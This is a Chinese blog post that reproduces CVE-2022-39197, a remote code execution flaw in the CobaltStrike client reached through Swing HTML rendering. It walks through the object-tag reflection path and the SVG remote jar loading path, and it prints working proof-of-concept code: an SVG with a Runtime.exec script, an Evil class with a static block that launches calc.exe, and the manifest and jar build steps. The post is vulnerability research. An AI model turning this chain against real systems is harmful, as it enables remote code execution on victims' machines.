前言

学习,据说是由XSS和Swing导致的RCE漏洞。


Java Swing

可以用于构建Java的图形化界面,似乎可以通过捕获beacon,与CobaltStrike服务的交互,最后在CobaltStrike客户端渲染的方式实现RCE。

测试用代码:

String html = "" +
    "<html>" +
        "<img src=x>" +
    "</html>";
JFrame f = new JFrame("CVE-2022-39397");
JLabel l = new JLabel(html);
f.add(l);
f.setSize(300, 300);
f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
f.setVisible(true);

可以渲染出一张图片来:

漏洞分析

按照参考文章的说法,script之类的一些标签在Swing里面是无法加载的,所以要在Swing框架下找到新的利用方法,就像JSON/XML反序列化那样的某些危险标签或者标签里面的危险属性。

全局搜索一下HTML类,可以找到javax.swing.text.html.HTML类,可以看到里面存在一个getTag和一个getAttributeKey函数:

public static Tag getTag(String tagName) {

    Tag t =  tagHashtable.get(tagName);
    return (t == null ? null : t);
}

下断点后调试可以发现解析html标签和img标签时会经过这个函数,找一下这个tagHashtable表中都有什么标签,可以看到在static静态代码块里面初始化了这个表:

for (int i = 0; i < Tag.allTags.length; i++ ) {
    tagHashtable.put(Tag.allTags[i].toString(), Tag.allTags[i]);
    StyleContext.registerStaticAttributeKey(Tag.allTags[i]);
}

找到Tag.allTags:

static final Tag allTags[]  = {
    A, ADDRESS, APPLET, AREA, B, BASE, BASEFONT, BIG,
    BLOCKQUOTE, BODY, BR, CAPTION, CENTER, CITE, CODE,
    DD, DFN, DIR, DIV, DL, DT, EM, FONT, FORM, FRAME,
    FRAMESET, H1, H2, H3, H4, H5, H6, HEAD, HR, HTML,
    I, IMG, INPUT, ISINDEX, KBD, LI, LINK, MAP, MENU,
    META, NOBR, NOFRAMES, OBJECT, OL, OPTION, P, PARAM,
    PRE, SAMP, SCRIPT, SELECT, SMALL, SPAN, STRIKE, S,
    STRONG, STYLE, SUB, SUP, TABLE, TD, TEXTAREA,
    TH, TITLE, TR, TT, U, UL, VAR
};

可以看到这里有一个可疑的标签OBJECT,继续调试看看Swing怎么处理这个标签,网上追溯可以看到:

public TagElement (Element elem, boolean fictional) {
    this.elem = elem;
    htmlTag = HTML.getTag(elem.getName());
    if (htmlTag == null) {
        htmlTag = new HTML.UnknownTag(elem.getName());
    }
    insertedByErrorRecovery = fictional;
}

保存进一个对象里,然后再通过该对象的getHTMLTag函数返回,跟这个htmlTag相关联的还有一个elem,继续调试看看这个elem是什么:

一个Element对象,但是里面没有什么特别有意思的数据。

寻思着对标签进行分别处理多半要进行标签名的判读,所以全局搜索HTML.Tag.OBJECT,找到渲染时使用的object视图类:

else if (kind == HTML.Tag.OBJECT) {
    return new ObjectView(elem);
} 

里面只有三个函数,其中getUnloadableRepresentation函数没有用,setParameters函数通过createComponent调用,于是给createComponent函数下一个断点,看看这个函数,前两句是:

AttributeSet attr = getElement().getAttributes();
String classname = (String) attr.getAttribute(HTML.Attribute.CLASSID);

看起来可以根据classid属性指定一个类名,修改一下输入HTML继续调试:

String html = "" +
    "<html>" +
        "<object classid='java.lang.Runtime'>" +
    "</html>";

然后是:

try {
    ReflectUtil.checkPackageAccess(classname);
    Class c = Class.forName(classname, true,Thread.currentThread().
                            getContextClassLoader());
    Object o = c.newInstance();
    if (o instanceof Component) {
        Component comp = (Component) o;
        setParameters(comp, attr);
        return comp;
    }
} catch (Throwable e) {
    // couldn't create a component... fall through to the
    // couldn't load representation.
}

简单来说就是通过公有的无参构造函数实例化了一个对象,这里写入的Runtime类就因为没有这种构造函数失败了,这里是肯定无法利用的。另外如果输入的类名继承自Component类,则会将object标签中的数据作为该对象的属性,并通过setParameters函数进行反射写入:

// found a property parameter
String value = (String) v;
Method writer = props[i].getWriteMethod();
if (writer == null) {
    // read-only property. ignore
    return;     // for now
}
Class[] params = writer.getParameterTypes();
if (params.length != 1) {
    // zero or more than one argument, ignore
    return;     // for now
}
Object [] args = { value };
try {
    MethodUtil.invoke(writer, comp, args);
} catch (Exception ex) {
    System.err.println("Invocation failed");
    // invocation code
}

以AWTAnimationPanel2类为例,setParameters函数会通过getPropertyDescriptors函数获取其所有属性,至于是getter还是真的属性另说,此时可以注意到属性的值是通过和获取classid同样的方法从标签获取的,且只支持String类型的属性:

Object v = attr.getAttribute(props[i].getName());
if (v instanceof String) {
    ...
}

修改一下HTML,加上name属性:

String html = "" +
    "<html>" +
        "<object classid='com.sun.deploy.uitoolkit.impl.awt.AWTAnimationPanel2' name='Twings'>" +
    "</html>";

发现这样添加的attr不是String,类型不符合导致在获取属性的时候失败:

Object getLocalAttribute(Object nm) {
    if (nm == StyleConstants.ResolveAttribute) {
        return resolveParent;
    }
    Object[] tbl = attributes;
    for (int i = 0; i < tbl.length; i += 2) {
        if (nm.equals(tbl[i])) {
            return tbl[i+1];
        }
    }
    return null;
}

属性里不行,那应该是从HTML的更下一级标签里面找了,

在ObjectView类的注释里可以看到object标签的使用示例:

<pre>
    <object classid="javax.swing.JLabel">
        <param name="text" value="sample text">
    </object>
</pre>

很明显name代表属性名,value代表值,试一试:

String html = "" +
    "<html>" +
        "<object classid='com.sun.deploy.uitoolkit.impl.awt.AWTAnimationPanel2'>" +
            "<param name='name' value='Twings'>" +
        "</object>" +
    "</html>";

调试一下,可以看到反射调用setter顺利触发了:

漏洞利用

按照参考文章所说,利用所用的类在CobaltStrike里面,所以先下载好CobaltStrike。

随便从freebuf找了一个CobaltStrike,将cobaltstrike.jar放到项目文件夹里,并配置到项目的libraries中。

根据参考文章,利用函数为JSVGCanvas类的setURI函数:

public void setURI(String var1) {
    String var2 = this.uri;
    this.uri = var1;
    if (this.uri != null) {
        this.loadSVGDocument(this.uri);
    } else {
        this.setSVGDocument((SVGDocument)null);
    }

    this.pcs.firePropertyChange("URI", var2, this.uri);
}

是一个通过输入的URL加载SVG文件的函数。

按照参考文章,SVG文件可以执行JavaScript代码,仿写一下:

<svg xmlns="http://www.w3.org/2000/svg">
    <script>
        java.lang.Runtime.getRuntime().exec("calc.exe");
    </script>
</svg>

参考文章里的写法会在DOCTYPE部分产生网络问题,这样写就行了。

然后会遇到下一个问题:

看起来是由于依赖中缺失类导致的,虽然跟参考文章的缺失类不一样(大概是因为我用的是只有一个cobaltstrike.jar文件的CobaltStrike环境),根据参考文章,这一步可以通过JavaScript其他用法解决。

关注SVG所用的JavaScript解析函数BaseScriptingEnvironment类的loadScripts函数,可以看到一些有意思的东西:

String var24 = XLinkSupport.getXLinkHref(var5);
ParsedURL var25 = new ParsedURL(var5.getBaseURI(), var24);
this.checkCompatibleScriptURL(var6, var25);
URL var29 = null;

try {
    var29 = new URL(this.docPURL.toString());
} catch (MalformedURLException var18) {
}


DocumentJarClassLoader var26 = new DocumentJarClassLoader(new URL(var25.toString()), var29);
URL var28 = var26.findResource("META-INF/MANIFEST.MF");
if (var28 != null) {
    Manifest var30 = new Manifest(var28.openStream());
    var13 = var30.getMainAttributes().getValue("Script-Handler");
    if (var13 != null) {
        ScriptHandler var35 = (ScriptHandler)var26.loadClass(var13).newInstance();
        ...
    }
}

可以看到,这里根据SVG中的其他数据从一个远程URL加载了一个jar,并根据其中MANIFEST.MF文件的Script-Handler值加载并实例化了一个远程对象,很明显可以通过加载恶意static代码块的方式实现攻击。

看看要求,首先是type为application/java-archive:

AbstractElement var5 = (AbstractElement)var2.item(var4);
String var6 = var5.getAttributeNS((String)null, "type");
if (var6.length() == 0) {
    var6 = "text/ecmascript";
}

String var13;
if (var6.equals("application/java-archive")) {
    ...
}

然后是URL的来源:

// loadScripts
String var24 = XLinkSupport.getXLinkHref(var5);
ParsedURL var25 = new ParsedURL(var5.getBaseURI(), var24);

// getXLinkHref
public static String getXLinkHref(Element var0) {
    return var0.getAttributeNS("http://www.w3.org/1999/xlink", "href");
}

先写一个恶意类:

package org.example;

public class Evil {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("calc.exe");
        }catch (Exception e) {
            // pass
        }
    }
}

然后编译成class文件,再写一个MANIFEST.MF:

Script-Handler: Evil

打包:

jar -cvfm Evil.jar MANIFEST.MF Evil.class

然后报错了:

命令行里的居然是Java 11,重新配置一下Java再试试:

java.lang.NoClassDefFoundError: Evil (wrong name: org/example/Evil)

改改MANIFEST.MF再来,没弹出来,再改改把package删掉:

public class Evil {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("calc.exe");
        }catch (Exception e) {
            // pass
        }
    }
}

尝试一下:

OK了。

题外话

关于类加载器,在加载FXApplet2Adapter这种类的时候:,如

Class.forName("com.sun.deploy.uitoolkit.impl.fx.FXApplet2Adapter");

会报错:

Exception in thread "main" java.lang.NoClassDefFoundError: com/sun/deploy/uitoolkit/Applet2Adapter

原因是FXApplet2Adapter在ext/jfxrt.jar这个文件里面,而其父类Applet2Adapter在deploy.jar里面,能够加载Applet2Adapter的类加载器是用于加载FXApplet2Adapter的类加载器的父类。这就导致了FXApplet2Adapter在发现依赖于Applet2Adapter无法加载到这个类,因为它自身的类路径里没有deploy.jar,也没有父类可以委派。


参考

最新CS RCE曲折的复现路

最新CS RCE(CVE-2022-39197)复现心得分享

CVE-2022-39197 RCE POC


Web Java

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

GadgetInspector源码学习
CVE-2022-32532 Shiro认证绕过